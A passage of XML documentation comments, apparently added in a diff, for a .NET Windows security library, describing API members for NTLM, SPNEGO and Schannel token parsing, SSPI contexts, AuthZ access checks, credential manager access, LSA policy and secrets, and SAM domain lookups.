invalid file. + + + + Write keys to a MIT KeyTab file. + + The file stream. + List of key entries. + + + + Write keys to a MIT KeyTab file. + + The file path. + List of key entries. + + + + Generate an MIT KeyTab file. + + List of key entries. + The keytab file as bytes. + + + + Class to represent a Local Logon Session. + + + + + Logon/Authentication ID for session. + + + + + Username. + + + + + Logon domain. + + + + + Get the FQ User Name. + + + + + Authentication package. + + + + + Logon type. + + + + + Session ID. + + + + + User SID. + + + + + Logon Time. + + + + + Logon Server. + + + + + DNS Domain Name. + + + + + User Principal Name. + + + + + User Flags. + + + + + Last successful logon. + + + + + Last failed logon. + + + + + Count of failed logon attempts. + + + + + Logon script path. + + + + + Profile path. + + + + + Home directory. + + + + + Home directory drive. + + + + + Logoff time. + + + + + Kickoff Time. + + + + + Time password last set. + + + + + Password can change. + + + + + Password must change. + + + + + Get a logon session. + + The logon session ID. + True to thrown on error. + The logon session. + + + + Get the logon session LUIDs + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Class to represent an LSA logon handle. + + + + + Connect to the LSA untrusted. + + True to throw on error. + The LSA logon handle. + + + + Connect to the LSA untrusted. + + The LSA logon handle. + + + + Connect to LSA and register as a logon process. + + The arbitrary name of the process. + True to throw on error. + The LSA logon handle. + + + + Connect to LSA and register as a logon process. + + The arbitrary name of the process. + The LSA logon handle. + + + + Logon a user. + + The type of logon. + The authentication package to use. + The name of the origin. + The token source context. + The authentication credentials buffer. + Additional local groups. + True to throw on error. + The LSA logon result. + + + + Logon a user. + + The type of logon. + The authentication package to use. + The name of the origin. + The token source context. + The authentication credentials buffer. + Additional local groups. + The LSA logon result. + + + + Dispose of the LSA logon handle. + + + + + Result from an LsaLogonUser call. + + + + + The user's token. + + + + + The user's profile information. Format depends on the authentication package. + + + + + The authentication ID of the logon session. + + + + + Paged pool quota. + + + + + Non paged pool quota. + + + + + Minimum working set size. + + + + + Maximum working set size. + + + + + Page file limit. + + + + + Process time limit. + + + + + Dispose the LSA logon result. + + + + + SPNEGO Authentication Token. + + + + + The negotiated authentication token. + + + + + Optional message integrity code. + + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Format the authentication token. + + The token as a formatted string. + + + + Parse bytes into a negotiate token. + + The negotiate token in bytes. + The Negotiate token. + + + + Try and parse data into an Negotiate authentication token. + + The data to parse. + The Negotiate authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Flags for negotiation context. + + + + + Class to represent the negTokenInit message in SPNEGO. + + + + + List of supported negotiation mechanisms. + + + + + Context flags. + + + + + State of the Negotiate state. + + + + + Negotiate completed. + + + + + Negotiate incomplete. + + + + + Negotiate rejected. + + + + + Request Message Integrity Code. + + + + + Class to represent the negTokenResp message in SPNEGO. + + + + + Supported mechanism for the token, optional. + + + + + Current state of the negotiation. + + + + + Class to represent an NTLM AUTHENTICATE token for NTLMv1. + + + + + Domain name. + + + + + Workstation name. + + + + + Username. + + + + + NTLM version. + + + + + Encrypted session key. + + + + + LM Challenge Response. + + + + + LM Challenge Response. + + + + + Message integrity code. + + + + + Message integrity code offset into the token data. + + + + + Format the authentication token. + + The formatted token. + + + + Class to represent an NTLM AUTHENTICATE token for NTLMv2. + + + + + NT Proof Response. + + + + + Challenge version. + + + + + Maximum challenge version. + + + + + Reserved field. + + + + + Reserved field. + + + + + Timestamp. + + + + + Client challenge. + + + + + Reserved field. + + + + + NTLM Target Information. + + + + + Flags for NTLM negotiation. + + + + + NTLM message type. + + + + + Base class to represent an NTLM authentication token. + + + + + Type of NTLM message. + + + + + NTLM negotitation flags. + + + + + Try and parse data into an NTLM authentication token. + + The data to parse. + The NTLM authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Try and parse data into an NTLM authentication token. + + The data to parse. + The NTLM authentication token. + + + + The type of the AV_PAIR. + + + + + MS AV Flags. + + + + + An NTLM AV_PAIR. + + + + + The type of the AV Pair value. + + + + + An NTLM AV_PAIR with a string value. + + + + + The string value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a timestamp value; + + + + + The timestamp value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a bytes value. + + + + + The value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a flags value. + + + + + The value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a flags value. + + + + + The the Z4 data. + + + + + Custom data blob. + + + + + Machine ID. + + + + + ToString method. + + Pair as a string. + + + + Class to represent an NTLM CHALLENGE token. + + + + + Target name. + + + + + Server challenge. + + + + + Reserved. + + + + + NTLM version. + + + + + NTLM Target Information. + + + + + Format the authentication token. + + The formatted token. + + + + Class to represent an NTLM NEGOTIATE token. + + + + + Domain name. + + + + + Workstation name. + + + + + NTLM version. + + + + + Format the authentication token. + + The formatted token. + + + + Algorithm identifiers for the crypto APIs and Schannel. + + + + + Authentication token for Schannel and CredSSP. + + This is a simple parser for the TLS record format. + + + + List of TLS records. + + + + + Format the authentication token. + + The token as a formatted string. + + + + Try and parse data into an SChannel authentication token. + + The data to parse. + The SChannel authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Negotiated connection information for Schannel. + + + + + The protocol used by Schannel. + + + + + The negotitated cipher algorithm. + + + + + The negotiated cipher strength in bits. + + + + + The negotiated hash algorithm. + + + + + The negotiated hash string. + + + + + The negotiated key exchange algorithm. + + + + + The negotiated key exchange strength. + + + + + Credentials for the Schannel package. + + + + + Lifespan of a session in milliseconds. + + + + + Specify flags for credentials. + + + + + Specify the supported protocols. + + + + + Set the minimum cipher strength. + + + + + Set the maximum cipher strength. + + + + + Add a certificate the the credentials. This should contain a private key. + + The certificate to add. + + + + Add an algorithm type to the credentials. + + The algorithm type. + + + + Dispose the credentials. + + + + + Flags for the Schannel credentials. + + + + + Protocol type for Schannel. + + + + + Flags for message encryption. + + + + + None. + + + + + Wrap out of bound data. + + + + + Wrap but don't encrypt. + + + + + Class to represent a server authentication context. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Current request attributes. + + + + + Current data representation. + + + + + Current channel bindings. + + + + + Current return attributes. + + + + + Current status flags. + + + + + Expiry of the authentication. + + + + + Get the client name supplied by the Client. + + + + + Get the Session Key for this context. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Size of any header when using a stream protocol such as Schannel. + + + + + Size of any trailer when using a stream protocol such as Schannel. + + + + + Number of buffers needed when using a stream protocol such as Schannel. + + + + + Maximum message size when using a stream protocol such as Schannel. + + + + + Preferred block size when using a stream protocol such as Schannel. + + + + + Get the name of the authentication package. + + + + + Get connection information for the schannel connection. + + + + + Get the local certificate. Only used for Schannel related authentication. + + + + + Get the remote certificate. Only used for Schannel related authentication. + + + + + Get whether the authentication context is for loopback. + + + + + Get or set whether the context owns the credentials object or not. If true + then the credentials are disposed with the context. + + + + + Get an access token for the authenticated user. + + The user's access token. + + + + Impersonate the security context. + + The disposable context to revert the impersonation. + + + + Continue the authentication with the client token. + + The client token to continue authentication. + + + + Continue the authentication.. + + The client token to continue authentication. + Specify additional input buffers, does not need to include the token. + + + + Continue the authentication. + + The client token to continue authentication. + Specify additional input buffers, does not need to include the token. + Specify additional output buffers, does not need to include the token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + True to throw on error. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the accept call. + + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The signature for the messages. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Query the context's package info. + + The authentication package info, + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Constructor. + + Credential handle. + Request attribute flags. + Optional channel binding token. + Data representation. + + + + Constructor. + + Credential handle. + Request attribute flags. + Data representation. + + + + Constructor. + + Credential handle. + + + + Dispose the client context. + + + + + Finalizer. + + + + + Class to represent a service principal name. + + + + + SPN service class. + + + + + SPN service name. + + + + + SPN instance name. + + + + + SPN instance port. + + + + + SPN referrer. + + + + + Constructor. + + The service class name. + The name of the instance. + + + + Parse an SPN string to a class. + + The SPN string. + The parsed class. + Thrown in invalid SPN. + + + + Try and parse an SPN string to a class. + + The SPN string. + The result class. + True if the SPN was parsed successfully. + Thrown in invalid SPN. + + + + Convert SPN to a string. + + The SPN string. + + + + Class to hold user credentials. + + + + + The user name. + + + + + The domain. + + + + + The password as a secure string. + + + + + Constructor. + + Username. + Domain name. + Password. + + + + Set the password as in plain text. + + The password in plain text. + + + + Constructor. + + Username. + Domain name. + Password. + + + + Constructor. + + Username. + Domain name. + + + + Constructor. + + Username. + + + + Constructor. + + + + + Dispose method. + + + + + Class to represent a single authenticode certificate entry. + + + + + The list of certificates in the entry. + + + + + Whethe the entry contains page hashes. + + + + + Utilities for authenticode. + + + + + Get certificates from a PE file. + + The PE file. + True the throw on error. + The list of authenticode certificate entries. + + + + Get certificates from a PE file. + + The path to the PE file. + True the throw on error. + The list of authenticode certificate entries. + + + + Get certificates from a PE file. + + The path to the PE file, native path format. + The list of authenticode certificate entries. + + + + Gets wether the PE file has page hash entries. + + The path to the PE file, native path format. + True if the file contains page hashes. + + + + Query ELAM information from a driver's resource section. + + The path to the file. + True to throw on error. + The ELAM information if present. + + + + Query ELAM information from a driver's resource section. + + The path to the file. + The ELAM information if present. + + + + Get the VSM enclave configuration. + + The path to the file. + True to throw on error. + The VSM enclave configuration. + + + + Get the VSM enclave configuration. + + The path to the file. + The VSM enclave configuration. + + + + ELAM information. + + + + + The hash of the certificate. + + + + + The hash algorithm. + + + + + List of optional EKUs. + + + + + Overridden ToString method. + + The ELAM information as a string. + + + + Class to represent a VSM enclave configuration. + + + + + Minimum required configuration size. + + + + + Policy flags. + + + + + List of enclave imports. + + + + + Family ID. + + + + + Image ID. + + + + + Image version. + + + + + Security version. + + + + + Size of the enclave. + + + + + Number of threads for the enclave. + + + + + Enclave flags. + + + + + Is the enclave debuggable. + + + + + Is this a primary image. + + + + + Path to the image file. + + + + + Name of the image file. + + + + + ToString method. + + The object as a string. + + + + Class to represent an enclave import. + + + + + Match type for the import. + + + + + Minimum security version. + + + + + Unique or author ID. + + + + + Family ID. + + + + + Image ID. + + + + + Import name. + + + + + ToString method. + + The name of the import. + + + + Image policy entry. + + + + + Type of entry. + + + + + Policy ID. + + + + + Value of entry. + + + + + Image policy ID. + + + + + Class to represnt image policy metadata. + + + + + Version of the metadata. + + + + + The ID of the trustlet. + + + + + The optional policies for the trustlet. + + + + + Overridden ToString method. + + The object as a string. + + + + Extract image policy metadata from an image file. + + The path to the image file. Should be a win32 path. + True to throw on error. + The image policy metadata. + + + + Extract image policy metadata from an image file. + + The path to the image file. Should be a win32 path. + The image policy metadata. + + + + Access check result from AuthZ. + + + + + The Win32 error code from the access check. + + + + + Class to represent an AuthZ client context. + + + + + Get AuthZ user + + + + + Get AuthZ context groups. + + + + + Get AuthZ context restricted SIDs. + + + + + Get AuthZ context device groups. + + + + + Get AuthZ context capability SIDs. + + + + + Get AuthZ context's security attributes + + + + + Get AuthZ context's device claims. + + + + + Get AuthZ context's user claims. + + + + + Get list of privileges for the AuthZ context. + + The list of privileges + Thrown if can't query privileges + + + + Get AppContainer SID. + + + + + Indicates if this context is connected to a remote access server. + + + + + Set AppContainer Information to Context. + + The package SID. + List of capabilities. + True to throw on error + The NT status code. + + + + Set AppContainer Information to Context. + + The package SID. + List of capabilities. + + + + Modify groups in the context. + + The type of group to modify. + The list of groups to modify. + The list of operations. Should be same size of group list. + True to throw on error. + The NT status code. + + + + Modify groups in the context. + + The type of group to modify. + The list of groups to modify. + The list of operations. Should be same size of group list. + + + + Modify groups in the context. + + The type of group to modify. + The list of SIDs to modify. + The attributes for the SIDs. + The operation for the SIDs. + + + + Modify groups in the context. + + The type of group to modify. + The list of SIDs to modify. + The operation for the SIDs. + + + + Add a SID to the context. + + The SID to add. + + + + Add a Device SID to the context. + + The SID to add. + + + + Add a Device SID to the context. + + The SID to add. + + + + Add a list of SIDs to the context. + + The list of SIDS. + + + + Get list of groups for the AuthZ context. + + The group type. + True to throw on error. + The list of groups. + + + + Get list of groups for the AuthZ context. + + The group type. + The list of groups. + + + + Get the user from the AuthZ context. + + True to throw on error. + The user group information. + + + + Get the AppContainer SID from the AuthZ context. + + True to throw on error. + The AppContainer SID. + + + + Get AuthZ context's security attributes + + Specify the type of security attributes to query. + Throw on error. + The security attributes. + + + + Get token privileges. + + True to throw on error. + The list of privileges. + + + + Perform an Access Check. + + The security descriptor for the check. + Optional list of security descriptors to merge. + The desired access. + Optional Principal SID. + Optional list of object types. + NT Type for access checking. + True to throw on error. + The list of access check results. + The list of object types is restricted to 256 entries for remote access checks. + + + + Perform an Access Check. + + The security descriptor for the check. + Optional list of security descriptors to merge. + The desired access. + Optional Principal SID. + Optional list of object types. + NT Type for access checking. + The list of access check results. + The list of object types is restricted to 256 entries for remote access checks. + + + + Dispose client context. + + + + + Clone the current context. + + True to throw on error. + The new client context. + + + + Clone the current context. + + The new client context. + + + + Flags to initialize a client context from a SID. + + + + + None. + + + + + Skip gathering token groups. + + + + + Require S4U logon. + + + + + Computer token privileges. + + + + + Specify the type of SIDs. + + + + + Normal Group SIDs. + + + + + Restricted SIDs. + + + + + Device Group SIDs. + + + + + Capability SIDs. + + + + + Delegate to handle a callback ACE. + + The ACE to handle. + True if the ACE should be processed. + + + + Class to represent a AuthZ Resource Manager. + + + + + The name of the resource manager if any. + + + + + Indicates if this resource manager is connected to a remote access server. + + + + + Dispose the resource manager. + + + + + Create a client context from a Token. + + The token to create the context from. + True to throw on error. + The created client context. + + + + Create a client context from a Token. + + The token to create the context from. + The created client context. + + + + Create a client context from a Token. + + The sid to create the context from. + Flags for intialization. + True to throw on error. + The created client context. + + + + Create a client context from a Token. + + The sid to create the context from. + Flags for intialization. + The created client context. + + + + Create a new AuthZ resource manager. + + The name of the resource manager, optional. + Optional flags for the resource manager. + Optional callback to handle callback ACEs. + True to throw on error. + The created AuthZ resource manager. + + + + Create a new AuthZ resource manager. + + The name of the resource manager, optional. + Optional flags for the resource manager. + Optional callback to handle callback ACEs. + The created AuthZ resource manager. + + + + Create a new AuthZ resource manager. Will not enable auditing. + + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The RPC string binding for the server. + The SPN for the server. + True to throw on error. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The RPC string binding for the server. + The SPN for the server. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The address of the server. + The SPN for the server. + Specify the type of + True to throw on error. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The network address of the server. + The SPN for the server. + Specify the type of + The created AuthZ resource manager. + + + + Initialization flags for resource manager. + + + + + None + + + + + Disable auditing. + + + + + Initialize using impersonation token. + + + + + Disable central access policies. + + + + + Type of remote service to access. + + + + + Default, no evaluation of CAPs. + + + + + Evaluates CAPs. + + + + + Security Attribute type. + + + + + Token Security Attributes. + + + + + Device Claims. + + + + + User Claims. + + + + + SID operation for an AuthZ client context. + + + + + None. + + + + + Replace all SIDs. + + + + + Add SIDs. + + + + + Delete SIDs. + + + + + Replace SIDs. + + + + + Progress invoke setting for tree security. + + + + + The source of inheritance for a resource. + + + + + The depth between the resource and the parent. + + + + + The name of the ancestor. + + + + + The security descriptor if accessible. + + + + + The original ACE which was inherited. + + + + + The SID of the original ACE. + + + + + Access mask as a formatted string. + + + + + Generic access mask as a formatted string. + + + + + The type of the ACE. + + + + + The object type of the ACE. + + + + + The inherited object type. + + + + + Enumeration for object type. + + + + + Tree security mode. + + + + + Progress function for tree named security info. + + The name of the object. + The operation status. + The current invoke setting. + True if security is set. + The invoke setting. Return original invoke_setting if no change. + + + + Base security buffer storage. + + + + + Type of the security buffer. + + + + + Is the buffer read-only. + + + + + Is the buffer read-only with checksum. + + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Overridden ToString method. + + The buffer as a string. + + + + Class to represent a security buffer we expect to be allocated by the SSPI. + + + + + Constructor. + + The type of the buffer. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Security buffer for a channel binding. + + + + + Constructor. + + The channel bindings token. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which can be an input and output. + + If you create with the ReadOnly or ReadOnlyWithCheck types then the + array will not be updated. + + + + Constructor. + + The type of buffer. + The data for the input. + + + + Constructor. + + The type of buffer. + The data for the input. + The offset into the array. + Number of bytes in the input. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which can only be an output. + + + + + Constructor. + + The type of buffer. + The size of the output buffer. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which takes a raw pointer. The lifetime of the pointer + should be managed manually by the caller. + + + + + Constructor. + + The type of buffer. + The raw pointer. + The size of the raw pointer. + + + + The size of the buffer. + + + + + The pointer for the buffer. The lifetime needs to be manually managed. + + + + + This will free pointer using the SSPI APIs. Used to release automatically allocated + buffers. If you control the value of the Pointer you don't need to release it. + + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Security buffer type. + + + + + Class to represent a credential manager credential. + + + + + Credential flags. + + + + + Credential type. + + + + + Target name for the credentials. + + + + + Comment for the credentials. + + + + + Time the credentials was last written. + + + + + Credential blob. + + + + + Credential as a string, if available. + + + + + Credential persistence. + + + + + Credential attributes. + + + + + Target alias. + + + + + Username. + + + + + Class to represent a credential attribute. + + + + + Attribute keyword. + + + + + Attribute flags. + + + + + Attribute value. + + + + + Overridden ToString method. + + + + + + Flags for a credential attribute. + + + + + No flags. + + + + + Flags for enumeration credentials. + + + + + None. + + + + + Get all credentials. + + + + + Flags for a credential. + + + + + Class to access credential manager APIs. + + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + Flags for the enumeration. + True to throw on error. + The list of credentials. + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + Flags for the enumeration. + The list of credentials. + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + The list of credentials. + + + + Get all credentials for user from credential manager. + + The list of credentials. + + + + Get a credential by name. + + The name of the credential. + The type of credential. + True to throw on error. + The read credential. + + + + Get a credential by name. + + The name of the credential. + The type of credential. + The read credential. + + + + Backup a user's credentials. + + The user's token. + The key for the data, typically a unicode password. Optional + True if the key is already encoded. + Caller needs SeTrustedCredmanAccessPrivilege enabled. + + + + Specify credential persistence. + + + + + Identifies the type of credentials. + + + + + Information class for a SAM domain object. + + + + + Logon32 provider + + + + + Default. + + + + + Windows NT 3.5. + + + + + Windows NT 4.0. + + + + + Windows NT 5.0. + + + + + Virtual provider. + + + + + Logon UserFlags. + + + + + Indicates the last client token status for the client context. + + + + + Yes it's the last token. + + + + + No it's not the last token. + + + + + It might be, who knows? + + + + + Status code for SSPI interface calls. + + + + + Class to represent an Account Right assigned to a user. + + + + + The name of the account right. + + + + + The display name, if known. + + + + + Get list of SIDS assigned to this access right. + + + + + ToString method. + + The name of the account right. + + + + List of account rights. Not the same as privileges. + + + + + Class to represent an LSA account object. + + + + + Get the account SID. + + + + + Get or set system access flags. + + + + + Get account privileges. + + + + + Get system access flags. + + True to throw on error. + The system access flags. + + + + Set system access flags. + + The flags to set. + True to throw on error. + The system access flags. + + + + Enumerate privileges for the account. + + True to throw on error. + The list of token privileges. + + + + Access rights for an LSA account. + + + + + Flags for looking up SIDs by name. + + + + + Flags for looking up SID names. + + + + + Base class for an LSA object. + + + + + Get the NT type for the object. + + + + + Get the object name for the object. + + + + + Get whether the object is a container. + + + + + Get the object's security descriptor. + + + + + Is an access mask granted to the object. + + The access to check. + True if all access is granted. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Delete the object. + + True to throw on error. + The NT status code. + + + + Delete the object. + + + + + Get the system name for the policy. + + + + + Dispose the policy. + + + + + Class to represent the LSA policy. + + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + The list of looked up SID names. + + + + Lookup name for a SID. + + The SID to lookup. + + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + Lookup options flags. + True to throw on error. + The list of looked up SID names. + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + Lookup options flags. + The list of looked up SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + Flags for the lookup. + True to throw on error. + The list of SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + Flags for the lookup. + The list of SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + The list of SID names. + + + + Lookup names from the LSA policy. + + The name to lookup. + The looked up SID name. + + + + Enumerate accounts with a user right. + + The name of the user right. + True to throw on error. + The list of SIDs with the user right. + + + + Enumerate accounts with a user right. + + The name of the user right. + The list of SIDs with the user right. + + + + Enumerate account rights for a SID. + + The SID to enumerate for. + True to throw on error. + The list of assigned account rights. + + + + Enumerate account rights for a SID. + + The SID to enumerate for. + The list of assigned account rights. + + + + Add account rights to an account. + + The SID of the account. + The list of account rights to add. + True to throw on error. + The NT status code. + + + + Add account rights to an account. + + The SID of the account. + The list of account rights to add. + + + + Remove account rights from an account. + + The SID of the account. + True to remove all rights. + The account rights to add. + True to throw on error. + The NT status code. + + + + Remove account rights from an account. + + The SID of the account. + True to remove all rights. + The account rights to add. + + + + Retrieve LSA privilege data. + + The name of the key. + True to throw on error. + The private data as bytes. + + + + Retrieve LSA privilege data. + + The name of the key. + The private data as bytes. + + + + Store LSA private data. + + The name of the key. + The data to store. If you pass null then the value will be deleted. + True to throw on error. + The NT status code. + + + + Store LSA private data. + + The name of the key. + The data to store. If you pass null then the value will be deleted. + + + + Open an LSA secret object. + + The name of the secret. + The desired access for the secret. + True to throw on error. + The opened secret. + + + + Open an LSA secret object. + + The name of the secret. + The desired access for the secret. + The opened secret. + + + + Open an LSA secret object with maximum access. + + The name of the secret. + The opened secret. + + + + Create an LSA secret object. + + The name of the secret. + The desired access for the secret. + True to throw on error. + The created secret. + + + + Create an LSA secret object. + + The name of the secret. + The desired access for the secret. + The created secret. + + + + Create an LSA secret object with maximum access. + + The name of the secret. + The created secret. + + + + Delete an LSA secret object. + + The name of the secret. + True to throw on error. + The NT status code. + + + + Delete an LSA secret object. + + The name of the secret. + + + + Open an LSA account object. + + The SID of the account. + The desired access for the account. + True to throw on error. + The opened account. + + + + Open an LSA account object. + + The SID of the account. + The desired access for the account. + The opened account. + + + + Open an LSA account object with maximum access. + + The SID of the account. + The opened account. + + + + Create an LSA account object. + + The SID of the account. + The desired access for the account. + True to throw on error. + The created account. + + + + Create an LSA account object. + + The SID of the account. + The desired access for the account. + The created account. + + + + Create an LSA account object with maximum access. + + The SID of the account. + The created account. + + + + Delete an LSA account object. + + The SID of the account. + True to throw on error. + The NT status code. + + + + Delete an LSA account object. + + The SID of the account. + + + + Enumerate account SIDs in policy. + + True to throw on error. + The list of account SIDs. + + + + Enumerate account SIDs in policy. + + The list of account SIDs. + + + + Enumerate and open accessible account objects in policy. + + The desired access for the opened accounts. + True to throw on error. + The list of accessible accounts. + + + + Enumerate and open accessible account objects in policy. + + The desired access for the opened accounts. + + + + Enumerate and open accessible account objects in policy with maximum access. + + + + + Enumerate trusted domain information. + + True to throw on error. + The list of trusted domain information. + + + + Enumerate trusted domain information. + + The list of trusted domain information. + + + + Open trusted domain object. + + The SID of the trusted domain. + The desired access for the object. + True to throw on error. + The trusted domain object. + + + + Open trusted domain object. + + The SID of the trusted domain. + The desired access for the object. + The trusted domain object. + + + + Open trusted domain object. + + The name of the trusted domain. + The desired access for the object. + True to throw on error. + The trusted domain object. + + + + Open trusted domain object. + + The name of the trusted domain. + The desired access for the object. + The trusted domain object. + + + + Enumerate and open accessible trusted domain objects in policy. + + The desired access for the opened trusted domains. + True to throw on error. + The list of accessible trusted domains. + + + + Enumerate and open accessible trusted domain objects in policy. + + The desired access for the opened trusted domains. + The list of accessible trusted domains. + + + + Enumerate and open accessible trusted domain objects in policy. + + The list of accessible trusted domains. + + + + Open an LSA policy. + + The system name for the LSA. + The desired access on the policy. + True to throw on error. + The opened policy. + + + + Open an LSA policy. + + The desired access on the policy. + True to throw on error. + The opened policy. + + + + Open an LSA policy. + + The system name for the LSA. + The desired access on the policy. + The opened policy. + + + + Open an LSA policy. + + The desired access on the policy. + The opened policy. + + + + Open an LSA policy with maximum allowed access. + + The opened policy. + + + + Access rights for the LSA policy. + + + + + Utilities for an LSA policy. + + + + + The name of the fake NT type for a LSA policy. + + + + + The name of the fake NT type for a LSA secret. + + + + + The name of the fake NT type for a LSA account. + + + + + The name of the fake NT type for a LSA trusted domain. + + + + + Generic generic mapping for LSA policy security. + + The generic mapping for the LSA policy. + + + + Generic generic mapping for LSA secret security. + + The generic mapping for the LSA secret. + + + + Generic generic mapping for LSA account security. + + The generic mapping for the LSA account. + + + + Generic generic mapping for LSA trusted domain security. + + The generic mapping for the LSA trusted domain. + + + + Class to represent an LSA secret. + + + + + Query the value of the secret. + + True to throw on error. + The value of the secret. + + + + Query the value of the secret. + + The value of the secret. + + + + Query the current value of the secret. + + True to throw on error. + The current value of the secret. + + + + Query the current value of the secret. + + The current value of the secret. + + + + Query the old value of the secret. + + True to throw on error. + The old value of the secret. + + + + Query the old value of the secret. + + The old value of the secret. + + + + Set the value of the secret. + + The current value to set. + The old value to set. + True to throw on error. + The NT status code. + + + + Set the value of the secret. + + The current value to set. + The old value to set. + + + + Access rights for an LSA secret. + + + + + Class to represent an LSA secret value. + + + + + The current value of the secret. + + + + + The set time for the current value. + + + + + The old value of the secret. + + + + + The set time for the old value. + + + + + Flags for an account's system access. + + + + + Trust attribute flags for a trusted domain. + + + + + Direction of trust for a trusted domain. + + + + + Class to represent an LSA trusted domain. + + + + + Flat name (NETBIOS) of domain. + + + + + Domain SID. + + + + + Name of the domain. + + + + + Domain trust direction. + + + + + Domain trust type. + + + + + Domain trust attributes. + + + + + Access rights for an LSA trusted domain. + + + + + Information for a trusted domain. + + + + + DNS name of domain. + + + + + Flat name (NETBIOS) of domain. + + + + + Domain SID. + + + + + Domain trust direction. + + + + + Domain trust type. + + + + + Domain trust attributes. + + + + + Trust type for a trusted domain. + + + + + Class to represent a SAM alias. + + + + + Get members of the alias. + + True to throw on error. + The list of alias members. + + + + Get members of the alias. + + The list of alias members. + + + + The alias name. + + + + + The SID of the alias. + + + + + Access rights for a SAM alias object. + + + + + Class to represent a SAM domain object. + + + + + The domain name. + + + + + The domain SID. + + + + + Get domain password information + + + + + Lookup names in a domain. + + The list of names to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup names in a domain. + + The list of names to lookup. + The list of looked up SID names. + + + + Lookup a name in a domain. + + The name to lookup. + True to throw on error. + The SID name. + + + + Lookup a name in a domain. + + The name to lookup. + The SID name. + + + + Lookup relative IDs in a domain. + + The list of relative IDs to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup relative IDs in a domain. + + The list of relative IDs to lookup. + The list of looked up SID names. + + + + Lookup a rid in a domain. + + The relative ID to lookup. + True to throw on error. + The SID name. + + + + Lookup a rid in a domain. + + The relative ID to lookup. + The SID name. + + + + Enumerate users in a domain. + + User account control flags. + True to throw on error. + The list of users. + + + + Enumerate users in a domain. + + User account control flags. + The list of users. + + + + Enumerate users in a domain. + + The list of users. + + + + Enumerate groups in a domain. + + True to throw on error. + The list of groups. + + + + Enumerate groups in a domain. + + The list of groups. + + + + Enumerate aliases in a domain. + + True to throw on error. + The list of aliases. + + + + Enumerate aliases in a domain. + + The list of aliases. + + + + Get alias membership for a set of SIDs. + + The SIDs to check. + True to throw on error. + The alias enumeration. + + + + Get alias membership for a set of SIDs. + + The SIDs to check. + The alias enumeration. + + + + Get alias membership for a SID. + + The SID to check. + The alias enumeration. + + + + Open a user by relative ID. + + The user ID for the user. + The desired access for 